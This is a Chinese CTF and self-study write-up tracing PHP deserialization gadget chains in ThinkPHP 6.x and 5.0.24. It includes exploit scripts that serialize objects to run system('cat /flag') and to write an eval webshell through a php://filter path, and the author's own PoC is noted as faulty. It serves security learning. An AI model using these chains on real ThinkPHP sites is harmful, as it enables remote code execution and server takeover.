[安洵杯 2019]iamthinking
/public
发现有www.jpg,所以就试着会不会有源码泄露,直接访问www.zip得到源码
0x01:
在app/controller/index.php里面发现反序列化函数,那么有可能可以利用

之后就可以找一下链子,可以从__destruct,__tostring,__call等魔术方法
记录一下:
1.先试一下__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
   | 
  public function __destruct()     {         if (! $this->autosave) {             $this->save();         }     }
 
  public function __destruct()     {         if ($this->lazySave) {             $this->save();         }     }
 
 
 
 
 
 
      public function save(): void     {         $this->clearFlashData();
          $sessionId = $this->getId();
          if (!empty($this->data)) {             $data = $this->serialize($this->data);
              $this->handler->write($sessionId, $data);         } else {             $this->handler->delete($sessionId);         }
          $this->init = false;     }
 
  | 
 
看了一圈之后,因为不是很懂namespace和use关键字的用法,所以先去查了一下
2.再回来看,感觉Abstractcache.php不可利用,所以就先去观察一下Model.php吧,先去跟踪一下save函数
Model/save(),isEmpty函数要求$this->data不为空,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | public function save(array $data = [], string $sequence = null): bool     {                  $this->setAttrs($data);
          if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {                          return false;         }
          $result = $this->exists ? $this->updateData() : $this->insertData($sequence);     	
          if (false === $result) {             return false;         }
                   $this->trigger('AfterWrite');
                   $this->origin   = $this->data;         $this->set      = [];         $this->lazySave = false;
          return true;     }
   | 
 
跟踪updateData函数,一行一行看过去,可以在    $allowFields = $this->checkAllowFields();跳转到checkAllowFields函数之后可以发现存在我们可控的字符串拼接,也就是说可以利用toString方法

跟踪ModelEvent/trigger函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | protected function trigger(string $event): bool     {         if (!$this->withEvent) {             return true;         }
          $call = 'on' . Str::studly($event);
          try {             if (method_exists(static::class, $call)) {                 $result = call_user_func([static::class, $call], $this);             } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {                 $result = self::$event->trigger(static::class . '.' . $event, $this);                 $result = empty($result) ? true : end($result);             } else {                 $result = true;             }
              return false === $result ? false : true;         } catch (ModelEventException $e) {             return false;         }     }
   | 
 
在这里我觉得call_user_func([static::class, $call], $this)这段代码有点可疑,但是由于对php一些语法还是不是很理解,比如对这个函数里面的[static::class, $call], $this就不是很理解,然后这里的$call在前面又会有字符串的拼接,所以应该是利用不了的,所以还是直接去找toString方法吧
3.找可利用的__toString
全局搜索toString方法,可以在Collection.php和Conversion.php中遇到可以利用的方法,但是在Collection中,函数在进行到toArray之后就停止了,并没有可利用的点,那我们来分析Conversion.php
__toString,跟踪toJson方法,是对数据进行json加密,跟踪toArray

Conversion/toArray,前半段都不会影响什么,直接跟踪appendAttrToArray
1 2 3 4 5 6 7 8 9 10 11 12 13
   | public function toArray(): array    {        ……        ……        ……                foreach ($this->append as $key => $name) {            $this->appendAttrToArray($item, $key, $name);                    }
         return $item;    }
   | 
 
Conversion/appendAttrToArray,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | protected function appendAttrToArray(array &$item, $key, $name)    {        if (is_array($name)) {                        $relation   = $this->getRelation($key, true);            $item[$key] = $relation ? $relation->append($name)                ->toArray() : [];        } elseif (strpos($name, '.')) {            list($key, $attr) = explode('.', $name);                        $relation   = $this->getRelation($key, true);            $item[$key] = $relation ? $relation->append([$attr])                ->toArray() : [];        } else {            $value       = $this->getAttr($name);             $item[$name] = $value;
             $this->getBindAttr($name, $value, $item);        }    }
   | 
 
Attribute/getAttr,跟踪getData,大概会返回$this->data[$name],直接跟踪getValue
1 2 3 4 5 6 7 8 9 10 11 12 13
   | public function getAttr(string $name)    {        try {            $relation = false;            $value    = $this->getData($name);         } catch (InvalidArgumentException $e) {            $relation = $this->isRelationAttr($name);            $value    = null;        }
      	        return $this->getValue($name, $value, $relation);    }
   | 
 
Attribute/getData,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | public function getData(string $name = null)     {         if (is_null($name)) {             return $this->data;         }
          $fieldName = $this->getRealFieldName($name);      	
          if (array_key_exists($fieldName, $this->data)) {                          return $this->data[$fieldName];         } elseif (array_key_exists($name, $this->relation)) {             return $this->relation[$name];         }
          throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);     }
   | 
 
Attribute/getRealFieldName
1 2 3 4 5
   | protected function getRealFieldName(string $name): string     {         return $this->strict ? $name : Str::snake($name);     	     }
   | 
 
Attribute/getValue,可以发现如果$this->withAttr[$fieldName]不是数组的话,就直接进入$closure($value, $this->data);,看注释掉的内容,也可以意识到这里就是可以直接执行代码的地方了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | protected function getValue(string $name, $value, $relation = false)    {                $fieldName = $this->getRealFieldName($name);        $method    = 'get' . Str::studly($name) . 'Attr';
         if (isset($this->withAttr[$fieldName])) {            if ($relation) {                $value = $this->getRelationValue($relation);            }
             if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {                $value = $this->getJsonValue($fieldName, $value);            } else {                                                $closure = $this->withAttr[$fieldName];                                $value   = $closure($value, $this->data);            ……………………
   | 
 
思路总结1:
- 先触发Model类的__destruct方法,使得$this->lazySave为true进入save函数
 
- 要求
$this->withEvent为false,$this->data不为空,$this->exits为true,进入updateData函数 
- 直接进入Attribute类的getChangedData函数,会因为之后要去check,所以不能在下一个if语句里return掉,所以返回的$data不能为空,所以要求Attribute里面的$this->force为true,$this->data要有值,进入Model,checkAllowFields函数
 
- 进入if,要求$this->field和$this->schema都为空,在这里$this->table . $this->suffix触发Conversion类的toString方法,所以要求$this->table为true,$this->suffix实例化Conversion
 
- 进入Conversion类,进入toArray函数,进入Attribute类的getAttr函数,传键值,进入getData函数,传入的值不能为空,进入getRealFieldName函数,要求$this->strict为true,使得直接返回$name,然后要在键值要存在于$this->data中,使得直接返回$this->data[$name],最后以$name=$key $value=$this->data[$name] $relation=false进入getValue函数
 
- 进入if,要求$this->withAttr[$name]有值并且不是数组,进入$closure = $this->withAttr[$fieldName];$closure($value, $this->data);进行代码执行
 
总结2:
Model: $this->lazySave = true;    $this->withEvent = false;    $this->exits = true;    $this->data = [];    $this->table = true;    $this->suffix = new Conversion();    $this->field = [];    $this->schema = [];
Attribute: $this->force = true;    $this->data = [$name=>’cat /flag’];    $this->strict = true;    $this->withAttr = [$name=>’system’];    
poc:(网上的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
   | <?php namespace think {
      use think\model\concern\Attribute;     use think\model\concern\Conversion;     use think\model\concern\RelationShip;
 
      abstract class Model     {         use Conversion;         use RelationShip;         use Attribute;
          private $lazySave;         protected $table;         public function __construct($obj)         {             $this->lazySave = true;             $this->table = $obj;             $this->visible = array(array('hu3sky'=>'aaa'));             $this->relation = array("hu3sky"=>'aaa');             $this->data = array("a"=>'cat /flag');             $this->withAttr = array("a"=>"system");         }     } }
  namespace think\model\concern {     trait Conversion     {         protected $visible;     }
      trait RelationShip     {         private $relation;     }
      trait Attribute     {         private $data;         private $withAttr;     } }
  namespace think\model {     class Pivot extends \think\Model     {     } }
  namespace {     $a = new think\model\Pivot('');     $b = new think\model\Pivot($a);
      echo urlencode(serialize($b)); }
 
   | 
 
poc:(我自己写的 出错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
   | <?php namespace think\model\concern {     trait Conversion{
      }
      trait Attribute{         public function __construct(){             $this->force = true;	             $this->data = ['yuer'=>'cat /flag'];	             $this->strict = true;	             $this->withAttr = ['yuer'=>'system'];         }     } }
  namespace think{     use model\concern\Attribute;     use model\concern\Conversion;     use think\model\concern\Attribute as ConcernAttribute;     use think\model\concern\Conversion as ConcernConversion;
      class Model{         use ConcernAttribute;         use ConcernConversion;         public function __construct()         {             $this->lazySave = true;	             $this->withEvent = false;	             $this->exits = true;	             $this->data = ["1"];	             $this->table = true;	             $this->suffix = new ConcernConversion();	             $this->field = [];             $this->schema = [];         }                  } }
  namespace {     $a = new think\Model();     echo urlencode(serialize($a)); }
   | 
 
最后生成的payload,注意这里存在parse_url解析漏洞,像之前一样绕过就好了
后记:
总的来说,还是对thinkphp框架不够理解,对namespace和use关键字的运用理解不能
这两天除了这道题,参加的比赛也都要审计大量的代码,感觉头昏脑胀的(悲
代码一看得多了,再加上有些代码还是不能理解透,所以过程中思绪就会有点乱
再努力吧
Thinkphp5.0.24反序列化
Thinkphp5.0.24
0x01:
因为已经知道是反序列化漏洞了,所以直接审计代码吧。一般常用的魔术方法:
1 2 3 4 5 6 7
   | __construct __destruct __toString __wakeup __get __invoke ……
   | 
 
所以我们可以先自行全局搜索一下可用的魔术方法
1.__destruct
一共搜到四个,暂时发现可利用的有一个Windows.php里面的存在可触发toString的点,那就先直接从这里开始
首先是__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | public function __destruct()     {         $this->close();          $this->removeFiles();      }
 
  private function removeFiles()     {         foreach ($this->files as $filename) {             if (file_exists($filename)) {                  @unlink($filename);             }         }         $this->files = [];     }
   | 
 

那之后可以去找一下toString方法
2.__toString
因为前面审计了6.x的反序列化漏洞,所以再找到Model类的时候就直接看了,继续跟踪函数
toArray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
   | public function toArray()    {        $item    = [];        $visible = [];        $hidden  = [];
         $data = array_merge($this->data, $this->relation); 
                 if (!empty($this->visible)) {                         $array = $this->parseAttr($this->visible, $visible);                                    $data  = array_intersect_key($data, array_flip($array));        } elseif (!empty($this->hidden)) {            $array = $this->parseAttr($this->hidden, $hidden, false);                        $data  = array_diff_key($data, array_flip($array));        }
         foreach ($data as $key => $val) {             if ($val instanceof Model || $val instanceof ModelCollection) {                                                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);            } elseif (is_array($val) && reset($val) instanceof Model) {                                $arr = [];                foreach ($val as $k => $value) {                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);                }                $item[$key] = $arr;            } else {                                $item[$key] = $this->getAttr($key);            }        }                if (!empty($this->append)) {             foreach ($this->append as $key => $name) {                 if (is_array($name)) {                                         $relation   = $this->getAttr($key);                    $item[$key] = $relation->append($name)->toArray();                } elseif (strpos($name, '.')) {                    list($key, $attr) = explode('.', $name);                                        $relation   = $this->getAttr($key);                    $item[$key] = $relation->append([$attr])->toArray();                } else {                    $relation = Loader::parseName($name, 1, false);                     if (method_exists($this, $relation)) {                        $modelRelation = $this->$relation();                         $value         = $this->getRelationData($modelRelation);                         
                         if (method_exists($modelRelation, 'getBindAttr')) {                             $bindAttr = $modelRelation->getBindAttr();                             if ($bindAttr) {                                 foreach ($bindAttr as $key => $attr) {                                     $key = is_numeric($key) ? $attr : $key;                                     if (isset($this->data[$key])) {                                         throw new Exception('bind attr has exists:' . $key);                                    } else {                                                                                                                                                                $item[$key] = $value ? $value->getAttr($attr) : null;                                    }                                }                                continue;                            }                        }                        $item[$name] = $value;                    } else {                        $item[$name] = $this->getAttr($name);                    }                }            }        }        return !empty($item) ? $item : [];    }
   | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | protected function getRelationData(Relation $modelRelation)    {        if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {                        $value = $this->parent;        } else {                        if (method_exists($modelRelation, 'getRelation')) {                $value = $modelRelation->getRelation();            } else {                throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');            }        }        return $value;    }
   | 
 
3.__call
在OutPut类找到可能可以利用的,其他的都较难利用
1 2 3 4 5 6 7 8 9 10 11 12 13
   | public function __call($method, $args)     {         if (in_array($method, $this->styles)) {             array_unshift($args, $method);              return call_user_func_array([$this, 'block'], $args);          }
          if ($this->handle && method_exists($this->handle, $method)) {             return call_user_func_array([$this->handle, $method], $args);         } else {             throw new Exception('method not exists:' . __CLASS__ . '->' . $method);         }     }
   | 
 
可以对block方法进行追踪,这里要知道$method=getAttr $args=$key(前面调用的 所以第二个if语句是不可利用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | protected function block($style, $message)     {         $this->writeln("<{$style}>{$message}</$style>");     }      public function writeln($messages, $type = self::OUTPUT_NORMAL)     {         $this->write($messages, true, $type);     }
  public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)     {         $this->handle->write($messages, $newline, $type);     }
 
 
   | 
 
可以在Memcache中找到至少是我们可以利用的write
1 2 3 4
   | public function write($sessID, $sessData)     {         return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);     }
   | 
 
直接搜索可利用的set方法,找了一圈下来发现set犯法都是三个参数,但是php是不在乎参数多少的

在File类中找到似乎可以利用的file_put_contents,而data拼接里面存在exit,这种类型的以前是遇到过的,直接在filename那里用php伪协议绕过就好了,而同时要把我们要写入的一句话进行base64加密,同时不能让数据被压缩,所以$this->options['data_compress']要为false,然后只要文件写入成功了就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
   | public function set($name, $value, $expire = null)     {         if (is_null($expire)) {              $expire = $this->options['expire'];         }         if ($expire instanceof \DateTime) {             $expire = $expire->getTimestamp() - time();         }     	         $filename = $this->getCacheKey($name, true);          if ($this->tag && !is_file($filename)) {             $first = true;         }         $data = serialize($value);          if ($this->options['data_compress'] && function_exists('gzcompress')) {                          $data = gzcompress($data, 3);         }         $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;         $result = file_put_contents($filename, $data);          if ($result) {             isset($first) && $this->setTagItem($filename);             clearstatcache();             return true;         } else {             return false;         }     }
  protected function getCacheKey($name, $auto = false)     {         $name = md5($name);         if ($this->options['cache_subdir']) {                          $name = substr($name, 0, 2) . DS . substr($name, 2);         }         if ($this->options['prefix']) {             $name = $this->options['prefix'] . DS . $name;         }         $filename = $this->options['path'] . $name . '.php';         $dir      = dirname($filename);
          if ($auto && !is_dir($dir)) {             mkdir($dir, 0755, true);         }         return $filename;     }
  protected function setTagItem($name)     {         if ($this->tag) {             $key       = 'tag_' . md5($this->tag);             $this->tag = null;             if ($this->has($key)) {                 $value   = explode(',', $this->get($key));                 $value[] = $name;                 $value   = implode(',', array_unique($value));             } else {                 $value = $name;             }             $this->set($key, $value, 0);          }     }
   | 
 
思路整理:
1.首先从Windows类的__destruct方法开始,调用removeFiles方法,当对$this->files进行file_exits进行判断的时候触发toString方法
2.在Model类中找到toString方法,依旧是json调用toArray ,在这里可以实现对__call方法的调用,要求this->append数组不为空,并且数组里面的值不能是数组的类型,也不能存在.,在执行值所代表的方法的时候会返回一个类且这个类里面存在getBindAttr这个方法,而后面还有value=new Output(),所以 append[]=’getError’ this->error= OneToOne和Query的子类; this->parent=new Output();(Query)this->model = new Output(); 
这里出现了一个矛盾,我们要求modelRelation 可以调用 getBindAttr,那modelRelation 最好是OneToOne,但是在getRelationData方法中我们要利用modelRelation 去调用model方法,而此时要用Query类,那么只能找OneToOne和Query的子类的
3.Output里面的__call方法,要求this->styles = [‘getAttr’]; this->handle=new Memcache();
4.Memcache类中的write方法,this->handle=new File();从而调用File类里面的set方法,this->options[‘cache_subdir’]=false;this->options[‘prefix’]=false;$this->options[‘path’]=(php伪协议);this->options[‘data_compress’]=false;
网上找的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
   | <?php namespace think\process\pipes {     class Windows {         private $files = [];
          public function __construct($files)         {             $this->files = [$files];          }     } }
  namespace think {     abstract class Model{         protected $append = [];         protected $error = null;         public $parent;
          function __construct($output, $modelRelation)         {             $this->parent = $output;               $this->append = array("xxx"=>"getError");                  $this->error = $modelRelation;                        }     } }
  namespace think\model{     use think\Model;     class Pivot extends Model{         function __construct($output, $modelRelation)         {             parent::__construct($output, $modelRelation);         }     } }
  namespace think\model\relation{     class HasOne extends OneToOne {
      } } namespace think\model\relation {     abstract class OneToOne     {         protected $selfRelation;         protected $bindAttr = [];         protected $query;         function __construct($query)         {             $this->selfRelation = 0;             $this->query = $query;                 $this->bindAttr = ['xxx'];         }     } }
  namespace think\db {     class Query {         protected $model;
          function __construct($model)         {             $this->model = $model;          }     } } namespace think\console{     class Output{         private $handle;         protected $styles;         function __construct($handle)         {             $this->styles = ['getAttr'];             $this->handle =$handle;          }
      } } namespace think\session\driver {     class Memcached     {         protected $handler;
          function __construct($handle)         {             $this->handler = $handle;          }     } }
  namespace think\cache\driver {     class File     {         protected $options=null;         protected $tag;
          function __construct(){             $this->options=[                 'expire' => 3600,                  'cache_subdir' => false,                  'prefix' => '',                  'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',                  'data_compress' => false,             ];             $this->tag = 'xxx';         }
      } }
  namespace {     $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());     $Output = new think\console\Output($Memcached);     $model = new think\db\Query($Output);     $HasOne = new think\model\relation\HasOne($model);     $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));     echo serialize($window);     echo base64_encode(serialize($window)); }
 
   |